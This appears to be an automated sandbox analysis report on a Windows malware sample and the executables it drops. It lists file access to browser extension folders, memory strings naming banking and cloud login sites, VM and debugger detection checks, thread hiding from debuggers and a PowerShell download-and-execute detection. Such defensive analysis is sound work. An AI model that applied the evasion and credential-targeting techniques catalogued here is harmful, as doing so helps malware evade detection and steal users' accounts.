Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior

Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696497155
Source: skotes.exe, 00000013.00000002.3954473622.0000000000B87000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: explorer.exe, 0000001E.00000002.4028158216.0000000008796000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2671156957.0000000008796000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWe
Source: file.exe, 00000000.00000002.2035943037.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2035943037.0000000001082000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000002.3954473622.0000000000BBA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000002.3954473622.0000000000B9D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4028158216.00000000086A0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2671156957.0000000008685000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000000.2671156957.00000000087C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.4028158216.00000000087C0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000021.00000000.2696058411.000001DC07306000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000021.00000002.3993307694.000001DC07306000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000027.00000002.3972738207.000002CF1FE2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NTFS;;SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 0000001E.00000002.4028158216.00000000088E6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: svchost.exe, 00000027.00000002.3976226942.000002CF1FF02000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000029.00000002.2773583142.000000000497C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: file.exe, 00000000.00000002.2035943037.000000000103E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareJe
Source: explorer.exe, 0000001E.00000002.4028158216.00000000088E6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: svchost.exe, 00000027.00000002.3972738207.000002CF1FE2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}1e
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Be8M
Source: svchost.exe, 00000035.00000000.2796065956.000001A31C039000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: explorer.exe, 0000001E.00000000.2671707965.0000000008979000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00`
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: svchost.exe, 00000035.00000000.2796065956.000001A31C039000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: file.exe, 00000000.00000002.2035943037.000000000103E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: svchost.exe, 00000035.00000000.2794252358.000001A31BA33000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $@vmicshutdown
Source: explorer.exe, 0000001E.00000002.3958930436.0000000000A44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000^F1O
Source: explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}@g6O
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696497155f
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: explorer.exe, 0000001E.00000002.4028158216.00000000088E6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}l
Source: svchost.exe, 00000027.00000002.3972738207.000002CF1FE2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000027.00000002.3972738207.000002CF1FE2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000,@
Source: svchost.exe, 00000035.00000000.2794252358.000001A31BA33000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @vmicshutdown
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: explorer.exe, 0000001E.00000002.4028158216.00000000088E6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000035.00000000.2796065956.000001A31C039000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat
Source: svchost.exe, 00000027.00000002.3972738207.000002CF1FE2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: skotes.exe, skotes.exe, 00000013.00000002.3971280835.0000000000F2B000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: svchost.exe, 00000027.00000002.3972738207.000002CF1FE2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@\\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: powershell.exe, 00000029.00000002.2773583142.000000000497C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: explorer.exe, 0000001E.00000002.4017038806.0000000007065000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000001E.00000002.4028158216.00000000087C0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}=
Source: svchost.exe, 00000027.00000002.3972738207.000002CF1FE2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000027.00000002.3973519020.000002CF1FE40000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: svchost.exe, 00000035.00000000.2796065956.000001A31C039000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: svchost.exe, 00000025.00000002.3975000158.000001A4D5E2B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000025.00000000.2717635179.000001A4D5E2B000.00000004.00000001.00020000.00000000.sdmp, ddd4dd05d2.exe, 00000026.00000003.2792689871.00000000017D1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000027.00000000.2724219135.000002CF1FE40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000027.00000002.3973519020.000002CF1FE40000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000000.2750030585.000001CBD862B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000002.3976251863.000001CBD862B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002F.00000000.2770079084.00000184FC42B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3973206837.00000184FC42B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000032.00000002.3975030142.000001FDE9840000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000032.00000000.2779684046.000001FDE9840000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: file.exe, 00000000.00000002.2034821109.0000000000561000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1492348705.0000000004F20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: iMSHN6QKQEMUh;=a
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: file.exe, 00000000.00000002.2034821109.0000000000561000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1492348705.0000000004F20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: MSHN6QKQEMU
Source: ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: file.exe, 00000000.00000002.2035943037.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWM
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155
Source: powershell.exe, 00000029.00000002.2773583142.000000000497C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: svchost.exe, 00000035.00000000.2794252358.000001A31BA33000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $@vmicheartbeat
Source: explorer.exe, 0000001E.00000002.4028158216.00000000087C0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: svchost.exe, 00000027.00000002.3972738207.000002CF1FE2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: "@\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000030.00000000.2772976274.000002389CA02000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: explorer.exe, 0000001E.00000002.4028158216.00000000087C0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000d
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: file.exe, 00000000.00000002.2035253176.000000000093D000.00000040.00000001.01000000.00000003.sdmp, GCGHCBKFCF.exe, 00000010.00000002.2073490742.0000000000A6B000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000011.00000002.2113620090.0000000000F2B000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000012.00000002.2113183003.0000000000F2B000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000013.00000002.3971280835.0000000000F2B000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: svchost.exe, 00000021.00000000.2695557410.000001DC06A8C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000021.00000002.3982269556.000001DC06A8C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: GCGHCBKFCF.exe, 00000010.00000003.2037827897.0000000008C21000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qEMu\&t
Source: explorer.exe, 0000001E.00000002.3958930436.0000000000A44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: file.exe, 00000000.00000003.1824143495.0000000023792000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x
Source: svchost.exe, 00000035.00000000.2794252358.000001A31BA33000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @vmicheartbeat

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\GCGHCBKFCF.exe

Code function: 16_2_04C10C04 rdtsc

16_2_04C10C04

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB95FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CB95FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CB33480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00D6652B mov eax, dword ptr fs:[00000030h]		19_2_00D6652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00D6A302 mov eax, dword ptr fs:[00000030h]		19_2_00D6A302

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CB6B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CB6B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD1AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CD1AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

